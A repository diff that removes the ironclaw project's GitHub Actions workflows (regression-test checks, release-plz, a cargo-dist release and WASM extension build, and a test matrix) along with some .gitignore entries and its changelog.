- uses: actions/labeler@v5
with:
configuration-path: .github/labeler.yml
sync-labels: false # additive only — never remove scope labels
-107
View File
@@ -1,107 +0,0 @@
name: Regression Test Check
on:
pull_request:
jobs:
regression-test:
name: Regression test enforcement
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Check for regression tests
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
run: |
set -euo pipefail
BASE_REF="origin/${{ github.event.pull_request.base.ref }}"
# --- 1. Is this a fix PR? Check title first, then commit messages ---
IS_FIX=false
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$PR_TITLE"; then
IS_FIX=true
fi
if [ "$IS_FIX" = false ]; then
COMMITS=$(git log --format='%s' "${BASE_REF}..HEAD")
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$COMMITS"; then
IS_FIX=true
fi
fi
if [ "$IS_FIX" = false ]; then
echo "Not a fix PR — skipping regression test check."
exit 0
fi
echo "Fix PR detected."
# --- 2. Skip label or commit message marker ---
if grep -qF ',skip-regression-check,' <<< ",$PR_LABELS,"; then
echo "skip-regression-check label present — skipping."
exit 0
fi
COMMIT_BODIES=$(git log --format='%B' "${BASE_REF}..HEAD")
if grep -qF '[skip-regression-check]' <<< "$COMMIT_BODIES"; then
echo "[skip-regression-check] found in commit message — skipping."
exit 0
fi
# --- 3. Exempt static-only / docs-only changes ---
CHANGED_FILES=$(git diff --name-only "${BASE_REF}...HEAD")
if [ -z "$CHANGED_FILES" ]; then
echo "No changed files — skipping."
exit 0
fi
ALL_EXEMPT=true
while IFS= read -r file; do
case "$file" in
src/channels/web/static/*) ;;
*.md) ;;
*) ALL_EXEMPT=false; break ;;
esac
done <<< "$CHANGED_FILES"
if [ "$ALL_EXEMPT" = true ]; then
echo "All changes are static assets or docs — skipping."
exit 0
fi
# --- 4. Look for test changes ---
# Fast path: new test attributes or test modules in added lines.
if git diff "${BASE_REF}...HEAD" -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
echo "Test changes found in .rs files."
exit 0
fi
# Whole-function context: detect edits inside existing test functions.
if git diff "${BASE_REF}...HEAD" -W -- '*.rs' | awk '
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
/^\+[^+]/ { has_add=1 }
END { if (has_test && has_add) found=1; exit !found }
'; then
echo "Test changes found in existing test functions."
exit 0
fi
if grep -qE '^tests/' <<< "$CHANGED_FILES"; then
echo "Test file changes found under tests/."
exit 0
fi
# --- 5. No tests found ---
echo "::warning::This PR looks like a bug fix but contains no test changes. Every fix should include a regression test. Add a #[test] or #[tokio::test], or apply the 'skip-regression-check' label if not feasible."
exit 1
-67
View File
@@ -1,67 +0,0 @@
name: Release-plz
on:
push:
branches:
- main
jobs:
# Release unpublished packages.
release-plz-release:
if: ${{ github.repository_owner == 'nearai' }}
name: Release-plz release
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- &checkout
name: Checkout repository
uses: actions/checkout@v6
with:
fetch-depth: 0
persist-credentials: false
- &install-rust
name: Install Rust toolchain
uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
# Generating a GitHub token, so that PRs and tags created by
# the release-plz-action can trigger actions workflows.
- name: Generate GitHub token
uses: actions/create-github-app-token@v2
id: generate-token
with:
# GitHub App ID secret name
app-id: ${{ secrets.GH_RELEASES_MANAGER_APP_ID }}
# GitHub App private key secret name
private-key: ${{ secrets.GH_RELEASES_MANAGER_APP_PRIVATE_KEY }}
- name: Run release-plz
uses: release-plz/[email protected]
with:
command: release
env:
GITHUB_TOKEN: ${{ steps.generate-token.outputs.token }}
CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }}
# Create a PR with the new versions and changelog, preparing the next release.
release-plz-pr:
if: ${{ github.repository_owner == 'nearai' }}
name: Release-plz PR
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
concurrency:
group: release-plz-${{ github.ref }}
cancel-in-progress: false
steps:
- *checkout
- *install-rust
- uses: Swatinem/rust-cache@v2
- name: Run release-plz
uses: release-plz/[email protected]
with:
command: release-pr
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }}
-485
View File
@@ -1,485 +0,0 @@
# This file was autogenerated by dist: https://axodotdev.github.io/cargo-dist
#
# Copyright 2022-2024, axodotdev
# SPDX-License-Identifier: MIT or Apache-2.0
#
# CI that:
#
# * checks for a Git Tag that looks like a release
# * builds artifacts with dist (archives, installers, hashes)
# * uploads those artifacts to temporary workflow zip
# * on success, uploads the artifacts to a GitHub Release
#
# Note that the GitHub Release will be created with a generated
# title/body based on your changelogs.
name: Release
permissions:
"contents": "write"
# This task will run whenever you push a git tag that looks like a version
# like "1.0.0", "v0.1.0-prerelease.1", "my-app/0.1.0", "releases/v1.0.0", etc.
# Various formats will be parsed into a VERSION and an optional PACKAGE_NAME, where
# PACKAGE_NAME must be the name of a Cargo package in your workspace, and VERSION
# must be a Cargo-style SemVer Version (must have at least major.minor.patch).
#
# If PACKAGE_NAME is specified, then the announcement will be for that
# package (erroring out if it doesn't have the given version or isn't dist-able).
#
# If PACKAGE_NAME isn't specified, then the announcement will be for all
# (dist-able) packages in the workspace with that version (this mode is
# intended for workspaces with only one dist-able package, or with all dist-able
# packages versioned/released in lockstep).
#
# If you push multiple tags at once, separate instances of this workflow will
# spin up, creating an independent announcement for each one. However, GitHub
# will hard limit this to 3 tags per commit, as it will assume more tags is a
# mistake.
#
# If there's a prerelease-style suffix to the version, then the release(s)
# will be marked as a prerelease.
on:
push:
tags:
- '**[0-9]+.[0-9]+.[0-9]+*'
jobs:
# Run 'dist plan' (or host) to determine what tasks we need to do
plan:
runs-on: "ubuntu-22.04"
outputs:
val: ${{ steps.plan.outputs.manifest }}
tag: ${{ !github.event.pull_request && github.ref_name || '' }}
tag-flag: ${{ !github.event.pull_request && format('--tag={0}', github.ref_name) || '' }}
publishing: ${{ !github.event.pull_request }}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install dist
# we specify bash to get pipefail; it guards against the `curl` command
# failing. otherwise `sh` won't catch that `curl` returned non-0
shell: bash
run: "curl --proto '=https' --tlsv1.2 -LsSf https://github.com/axodotdev/cargo-dist/releases/download/v0.30.3/cargo-dist-installer.sh | sh"
- name: Cache dist
uses: actions/upload-artifact@v4
with:
name: cargo-dist-cache
path: ~/.cargo/bin/dist
# sure would be cool if github gave us proper conditionals...
# so here's a doubly-nested ternary-via-truthiness to try to provide the best possible
# functionality based on whether this is a pull_request, and whether it's from a fork.
# (PRs run on the *source* but secrets are usually on the *target* -- that's *good*
# but also really annoying to build CI around when it needs secrets to work right.)
- id: plan
run: |
dist ${{ (!github.event.pull_request && format('host --steps=create --tag={0}', github.ref_name)) || 'plan' }} --output-format=json > plan-dist-manifest.json
echo "dist ran successfully"
cat plan-dist-manifest.json
echo "manifest=$(jq -c "." plan-dist-manifest.json)" >> "$GITHUB_OUTPUT"
- name: "Upload dist-manifest.json"
uses: actions/upload-artifact@v4
with:
name: artifacts-plan-dist-manifest
path: plan-dist-manifest.json
# Build and packages all the platform-specific things
build-local-artifacts:
name: build-local-artifacts (${{ join(matrix.targets, ', ') }})
# Wait for WASM extensions so we can patch manifests with SHA256 checksums
# before build.rs bakes them into the embedded catalog.
needs:
- plan
- build-wasm-extensions
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
strategy:
fail-fast: false
# Target platforms/runners are computed by dist in create-release.
# Each member of the matrix has the following arguments:
#
# - runner: the github runner
# - dist-args: cli flags to pass to dist
# - install-dist: expression to run to install dist on the runner
#
# Typically there will be:
# - 1 "global" task that builds universal installers
# - N "local" tasks that build each platform's binaries and platform-specific installers
matrix: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix }}
runs-on: ${{ matrix.runner }}
container: ${{ matrix.container && matrix.container.image || null }}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
BUILD_MANIFEST_NAME: target/distrib/${{ join(matrix.targets, '-') }}-dist-manifest.json
steps:
- name: enable windows longpaths
run: |
git config --global core.longpaths true
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install Rust non-interactively if not already installed
if: ${{ matrix.container }}
run: |
if ! command -v cargo > /dev/null 2>&1; then
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
echo "$HOME/.cargo/bin" >> $GITHUB_PATH
fi
- uses: swatinem/rust-cache@v2
with:
key: ${{ join(matrix.targets, '-') }}
cache-provider: ${{ matrix.cache_provider }}
- name: Install dist
run: ${{ matrix.install_dist.run }}
# Get the dist-manifest
- name: Fetch local artifacts
uses: actions/download-artifact@v4
with:
pattern: artifacts-*
path: target/distrib/
merge-multiple: true
- name: Patch manifests with WASM checksums
if: ${{ needs.plan.outputs.publishing == 'true' }}
shell: bash
run: |
CHECKSUMS="target/distrib/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found, skipping manifest patching"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Install dependencies
run: |
${{ matrix.packages_install }}
- name: Build artifacts
run: |
# Actually do builds and make zips and whatnot
dist build ${{ needs.plan.outputs.tag-flag }} --print=linkage --output-format=json ${{ matrix.dist_args }} > dist-manifest.json
echo "dist ran successfully"
- id: cargo-dist
name: Post-build
# We force bash here just because github makes it really hard to get values up
# to "real" actions without writing to env-vars, and writing to env-vars has
# inconsistent syntax between shell and powershell.
shell: bash
run: |
# Parse out what we just built and upload it to scratch storage
echo "paths<<EOF" >> "$GITHUB_OUTPUT"
dist print-upload-files-from-manifest --manifest dist-manifest.json >> "$GITHUB_OUTPUT"
echo "EOF" >> "$GITHUB_OUTPUT"
cp dist-manifest.json "$BUILD_MANIFEST_NAME"
- name: "Upload artifacts"
uses: actions/upload-artifact@v4
with:
name: artifacts-build-local-${{ join(matrix.targets, '_') }}
path: |
${{ steps.cargo-dist.outputs.paths }}
${{ env.BUILD_MANIFEST_NAME }}
# Build and package all the platform-agnostic(ish) things
build-global-artifacts:
needs:
- plan
- build-local-artifacts
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
BUILD_MANIFEST_NAME: target/distrib/global-dist-manifest.json
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install cached dist
uses: actions/download-artifact@v4
with:
name: cargo-dist-cache
path: ~/.cargo/bin/
- run: chmod +x ~/.cargo/bin/dist
# Get all the local artifacts for the global tasks to use (for e.g. checksums)
- name: Fetch local artifacts
uses: actions/download-artifact@v4
with:
pattern: artifacts-*
path: target/distrib/
merge-multiple: true
- id: cargo-dist
shell: bash
run: |
dist build ${{ needs.plan.outputs.tag-flag }} --output-format=json "--artifacts=global" > dist-manifest.json
echo "dist ran successfully"
# Parse out what we just built and upload it to scratch storage
echo "paths<<EOF" >> "$GITHUB_OUTPUT"
jq --raw-output ".upload_files[]" dist-manifest.json >> "$GITHUB_OUTPUT"
echo "EOF" >> "$GITHUB_OUTPUT"
cp dist-manifest.json "$BUILD_MANIFEST_NAME"
- name: "Upload artifacts"
uses: actions/upload-artifact@v4
with:
name: artifacts-build-global
path: |
${{ steps.cargo-dist.outputs.paths }}
${{ env.BUILD_MANIFEST_NAME }}
# Build WASM extension bundles (tar.gz with .wasm + .capabilities.json)
build-wasm-extensions:
needs:
- plan
if: ${{ needs.plan.outputs.publishing == 'true' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install Rust toolchain + wasm target
run: |
rustup target add wasm32-wasip2
cargo install cargo-component --locked || true
- uses: swatinem/rust-cache@v2
with:
key: wasm-extensions
- name: Build and package WASM extensions
shell: bash
run: |
set -euo pipefail
mkdir -p target/wasm-bundles
# Process each manifest in registry/tools/ and registry/channels/
for manifest in registry/tools/*.json registry/channels/*.json; do
[ -f "$manifest" ] || continue
name=$(jq -r '.name' "$manifest")
source_dir=$(jq -r '.source.dir' "$manifest")
caps_file=$(jq -r '.source.capabilities' "$manifest")
crate_name=$(jq -r '.source.crate_name' "$manifest")
if [ ! -d "$source_dir" ]; then
echo "::warning::Source dir '$source_dir' not found for '$name', skipping"
continue
fi
echo "=== Building $name from $source_dir ==="
# Build WASM component
cargo component build --release --manifest-path "$source_dir/Cargo.toml" || {
echo "::warning::Build failed for '$name', skipping"
continue
}
# Find the built WASM file (Cargo uses underscores in artifact names)
wasm_artifact="${crate_name//-/_}"
wasm_path=""
for target_dir in wasm32-wasip2 wasm32-wasip1 wasm32-wasi; do
candidate="$source_dir/target/$target_dir/release/${wasm_artifact}.wasm"
if [ -f "$candidate" ]; then
wasm_path="$candidate"
break
fi
done
if [ -z "$wasm_path" ]; then
echo "::warning::No WASM output found for '$name', skipping"
continue
fi
# Copy files with standardized names for the archive
cp "$wasm_path" "target/wasm-bundles/${name}.wasm"
caps_path="$source_dir/$caps_file"
if [ -f "$caps_path" ]; then
cp "$caps_path" "target/wasm-bundles/${name}.capabilities.json"
else
echo "::warning::No capabilities file at '$caps_path' for '$name'"
fi
# Create tar.gz bundle
bundle="target/wasm-bundles/${name}-wasm32-wasip2.tar.gz"
(cd target/wasm-bundles && if [ -f "${name}.capabilities.json" ]; then tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm" "${name}.capabilities.json"; else tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm"; fi)
# Compute SHA256
sha256=$(sha256sum "$bundle" | cut -d' ' -f1)
echo "$sha256 ${name}-wasm32-wasip2.tar.gz" >> target/wasm-bundles/checksums.txt
# Clean up intermediate files
rm -f "target/wasm-bundles/${name}.wasm" "target/wasm-bundles/${name}.capabilities.json"
echo " -> $bundle ($sha256)"
done
echo "=== WASM bundles built ==="
ls -la target/wasm-bundles/
- name: "Upload WASM bundles"
uses: actions/upload-artifact@v4
with:
name: artifacts-wasm-extensions
path: |
target/wasm-bundles/*.tar.gz
target/wasm-bundles/checksums.txt
# Determines if we should publish/announce
host:
needs:
- plan
- build-local-artifacts
- build-global-artifacts
- build-wasm-extensions
# Only run if we're "publishing", and only if plan, local, global, and wasm didn't fail (skipped is fine)
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
runs-on: "ubuntu-22.04"
outputs:
val: ${{ steps.host.outputs.manifest }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install cached dist
uses: actions/download-artifact@v4
with:
name: cargo-dist-cache
path: ~/.cargo/bin/
- run: chmod +x ~/.cargo/bin/dist
# Fetch artifacts from scratch-storage
- name: Fetch artifacts
uses: actions/download-artifact@v4
with:
pattern: artifacts-*
path: target/distrib/
merge-multiple: true
- id: host
shell: bash
run: |
dist host ${{ needs.plan.outputs.tag-flag }} --steps=upload --steps=release --output-format=json > dist-manifest.json
echo "artifacts uploaded and released successfully"
cat dist-manifest.json
echo "manifest=$(jq -c "." dist-manifest.json)" >> "$GITHUB_OUTPUT"
- name: "Upload dist-manifest.json"
uses: actions/upload-artifact@v4
with:
# Overwrite the previous copy
name: artifacts-dist-manifest
path: dist-manifest.json
# Create a GitHub Release while uploading all files to it
- name: "Download GitHub Artifacts"
uses: actions/download-artifact@v4
with:
pattern: artifacts-*
path: artifacts
merge-multiple: true
- name: Cleanup
run: |
# Remove the granular manifests
rm -f artifacts/*-dist-manifest.json
- name: Create GitHub Release
env:
PRERELEASE_FLAG: "${{ fromJson(steps.host.outputs.manifest).announcement_is_prerelease && '--prerelease' || '' }}"
ANNOUNCEMENT_TITLE: "${{ fromJson(steps.host.outputs.manifest).announcement_title }}"
ANNOUNCEMENT_BODY: "${{ fromJson(steps.host.outputs.manifest).announcement_github_body }}"
RELEASE_COMMIT: "${{ github.sha }}"
run: |
# Write and read notes from a file to avoid quoting breaking things
echo "$ANNOUNCEMENT_BODY" > $RUNNER_TEMP/notes.txt
gh release create "${{ needs.plan.outputs.tag }}" --target "$RELEASE_COMMIT" $PRERELEASE_FLAG --title "$ANNOUNCEMENT_TITLE" --notes-file "$RUNNER_TEMP/notes.txt" artifacts/*
# Commit patched manifest SHA256 checksums back to main so the repo
# stays in sync with the released artifacts.
update-registry-checksums:
needs:
- plan
- host
- build-wasm-extensions
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
runs-on: "ubuntu-22.04"
permissions:
contents: write
pull-requests: write
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
ref: main
- name: Fetch WASM checksums
uses: actions/download-artifact@v4
with:
name: artifacts-wasm-extensions
path: target/wasm-bundles/
- name: Patch manifests with SHA256
shell: bash
run: |
CHECKSUMS="target/wasm-bundles/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Create PR with updated manifests
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add registry/
if git diff --cached --quiet; then
echo "No manifest changes to commit"
else
BRANCH="chore/update-checksums-$(date +%s)"
git checkout -b "$BRANCH"
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
git push origin "$BRANCH"
gh pr create \
--title "chore: update WASM artifact SHA256 checksums" \
--body "Auto-generated by release CI. Updates SHA256 checksums in registry manifests to match the released WASM artifacts." \
--base main \
--head "$BRANCH"
fi
announce:
needs:
- plan
- host
# use "always() && ..." to allow us to wait for all publish jobs while
# still allowing individual publish jobs to skip themselves (for prereleases).
# "host" however must run to completion, no skipping allowed!
if: ${{ always() && needs.host.result == 'success' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
-134
View File
@@ -1,134 +0,0 @@
name: Run Tests
on:
pull_request:
push:
branches:
- main
jobs:
tests:
name: Tests (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--features postgres,libsql,html-to-markdown"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: ${{ matrix.name }}
- name: Install cargo-component
run: cargo install cargo-component --locked || true
- name: Build WASM channels (for integration tests)
run: ./scripts/build-wasm-extensions.sh --channels
- name: Run Tests
run: cargo test ${{ matrix.flags }} -- --nocapture
telegram-tests:
name: Telegram Channel Tests
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
- name: Run Telegram Channel Tests
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
windows-build:
name: Windows Build (${{ matrix.name }})
runs-on: windows-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
with:
key: windows-${{ matrix.name }}
- name: Check compilation
run: cargo check --all --benches --tests --examples ${{ matrix.flags }}
wasm-wit-compat:
name: WASM WIT Compatibility
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: wasm-extensions
- name: Install cargo-component
run: cargo install cargo-component --locked || true
- name: Build all WASM extensions against current WIT
run: ./scripts/build-wasm-extensions.sh
- name: Instantiation test (host linker compatibility)
run: cargo test --all-features wit_compat -- --nocapture
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
version-check:
name: Version Bump Check
runs-on: ubuntu-latest
if: github.event_name == 'pull_request'
steps:
- name: Checkout repository
uses: actions/checkout@v6
with:
fetch-depth: 0
- name: Check version bumps for changed extensions
env:
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
run: ./scripts/check-version-bumps.sh
# Roll-up job for branch protection
run-tests:
name: Run Tests
runs-on: ubuntu-latest
if: always()
needs: [tests, telegram-tests, wasm-wit-compat, docker-build, windows-build, version-check]
steps:
- run: |
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.wasm-wit-compat.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" || "${{ needs.windows-build.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
# version-check only runs on PRs, so skip/success are both acceptable
if [[ "${{ needs.version-check.result }}" == "failure" ]]; then
echo "Version bump check failed"
exit 1
fi
-19
View File
@@ -1,25 +1,6 @@
.env
.env.local
.env.*
!.env.example
# Claude Code worktrees
.claude/worktrees/
# Sidecar tool data
.sidecar/
.todos/
target/
# Benchmark results (local runs, not committed)
bench-results/
# Coverage reports (local runs, not committed)
/coverage/
# WASM build artifacts (loaded from disk, not bundled)
*.wasm
trace_*.json
-487
View File
@@ -1,487 +0,0 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
## [0.16.1](https://github.com/nearai/ironclaw/compare/v0.16.0...v0.16.1) - 2026-03-06
### Fixed
- revert WASM artifact SHA256 checksums to null ([#627](https://github.com/nearai/ironclaw/pull/627))
## [0.16.0](https://github.com/nearai/ironclaw/compare/v0.15.0...v0.16.0) - 2026-03-06
### Added
- *(e2e)* extensions tab tests, CI parallelization, and 3 production bug fixes ([#584](https://github.com/nearai/ironclaw/pull/584))
- WASM extension versioning with WIT compat checks ([#592](https://github.com/nearai/ironclaw/pull/592))
- Add HMAC-SHA256 webhook signature validation for Slack ([#588](https://github.com/nearai/ironclaw/pull/588))
- restart ([#531](https://github.com/nearai/ironclaw/pull/531))
- merge http/web_fetch tools, add tool output stash for large responses ([#578](https://github.com/nearai/ironclaw/pull/578))
- integrate 13-dimension complexity scorer into smart routing ([#529](https://github.com/nearai/ironclaw/pull/529))
### Fixed
- *(llm)* fix reasoning model response parsing bugs ([#564](https://github.com/nearai/ironclaw/pull/564)) ([#580](https://github.com/nearai/ironclaw/pull/580))
- *(ci)* fix three coverage workflow failures ([#597](https://github.com/nearai/ironclaw/pull/597))
- Telegram channel accepts group messages from all users if owner_… ([#590](https://github.com/nearai/ironclaw/pull/590))
- *(ci)* anchor coverage/ gitignore rule to repo root ([#591](https://github.com/nearai/ironclaw/pull/591))
- *(security)* use OsRng for all security-critical key and token generation ([#519](https://github.com/nearai/ironclaw/pull/519))
- prevent concurrent memory hygiene passes and Windows file lock errors ([#535](https://github.com/nearai/ironclaw/pull/535))
- sort tool_definitions() for deterministic LLM tool ordering ([#582](https://github.com/nearai/ironclaw/pull/582))
- *(ci)* persist all cargo-llvm-cov env vars for E2E coverage ([#559](https://github.com/nearai/ironclaw/pull/559))
### Other
- *(llm)* complete response cache — set_model invalidation, stats logging, sync mutex ([#290](https://github.com/nearai/ironclaw/pull/290))
- add 29 E2E trace tests for issues #571-575 ([#593](https://github.com/nearai/ironclaw/pull/593))
- add 26 tests for multi-thread safety, db CRUD, concurrency, errors ([#442](https://github.com/nearai/ironclaw/pull/442))
- update WASM artifact SHA256 checksums [skip ci] ([#560](https://github.com/nearai/ironclaw/pull/560))
- add WIT compatibility tests for WASM extensions ([#586](https://github.com/nearai/ironclaw/pull/586))
- Trajectory benchmarks and e2e trace test rig ([#553](https://github.com/nearai/ironclaw/pull/553))
## [0.15.0](https://github.com/nearai/ironclaw/compare/v0.14.0...v0.15.0) - 2026-03-04
### Added
- *(oauth)* route callbacks through web gateway for hosted instances ([#555](https://github.com/nearai/ironclaw/pull/555))
- *(web)* show error details for failed tool calls ([#490](https://github.com/nearai/ironclaw/pull/490))
- *(extensions)* improve auth UX and add load-time validation ([#536](https://github.com/nearai/ironclaw/pull/536))
- add local-test skill and Dockerfile.test for web gateway testing ([#524](https://github.com/nearai/ironclaw/pull/524))
### Fixed
- *(security)* restrict query-token auth to SSE endpoints only ([#528](https://github.com/nearai/ironclaw/pull/528))
- *(ci)* flush profraw coverage data in E2E teardown ([#550](https://github.com/nearai/ironclaw/pull/550))
- *(wasm)* coerce string parameters to schema-declared types ([#498](https://github.com/nearai/ironclaw/pull/498))
- *(agent)* strip leaked [Called tool ...] text from responses ([#497](https://github.com/nearai/ironclaw/pull/497))
- *(web)* reset job list UI on restart failure ([#499](https://github.com/nearai/ironclaw/pull/499))
- *(security)* replace .unwrap() panics in pairing store with proper error handling ([#515](https://github.com/nearai/ironclaw/pull/515))
### Other
- Fix UTF-8 unsafe truncation in sandbox log capture ([#359](https://github.com/nearai/ironclaw/pull/359))
- enhance coverage with feature matrix, postgres, and E2E ([#523](https://github.com/nearai/ironclaw/pull/523))
## [0.14.0](https://github.com/nearai/ironclaw/compare/v0.13.1...v0.14.0) - 2026-03-04
### Added
- remove the okta tool ([#506](https://github.com/nearai/ironclaw/pull/506))
- add OAuth support for WASM tools in web gateway ([#489](https://github.com/nearai/ironclaw/pull/489))
- *(web)* fix jobs UI parity for non-sandbox mode ([#491](https://github.com/nearai/ironclaw/pull/491))
- *(workspace)* add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import ([#477](https://github.com/nearai/ironclaw/pull/477))
### Fixed
- *(web)* mobile browser bar obscures chat input ([#508](https://github.com/nearai/ironclaw/pull/508))
- *(web)* assign unique thread_id to manual routine triggers ([#500](https://github.com/nearai/ironclaw/pull/500))
- *(web)* refresh routine UI after Run Now trigger ([#501](https://github.com/nearai/ironclaw/pull/501))
- *(skills)* use slug for skill download URL from ClawHub ([#502](https://github.com/nearai/ironclaw/pull/502))
- *(workspace)* thread document path through search results ([#503](https://github.com/nearai/ironclaw/pull/503))
- *(workspace)* import custom templates before seeding defaults ([#505](https://github.com/nearai/ironclaw/pull/505))
- use std::sync::RwLock in MessageTool to avoid runtime panic ([#411](https://github.com/nearai/ironclaw/pull/411))
- wire secrets store into all WASM runtime activation paths ([#479](https://github.com/nearai/ironclaw/pull/479))
### Other
- enforce regression tests for fix commits ([#517](https://github.com/nearai/ironclaw/pull/517))
- add code coverage with cargo-llvm-cov and Codecov ([#511](https://github.com/nearai/ironclaw/pull/511))
- Remove restart infrastructure, generalize WASM channel setup ([#493](https://github.com/nearai/ironclaw/pull/493))
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
### Added
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
### Fixed
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
### Added
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
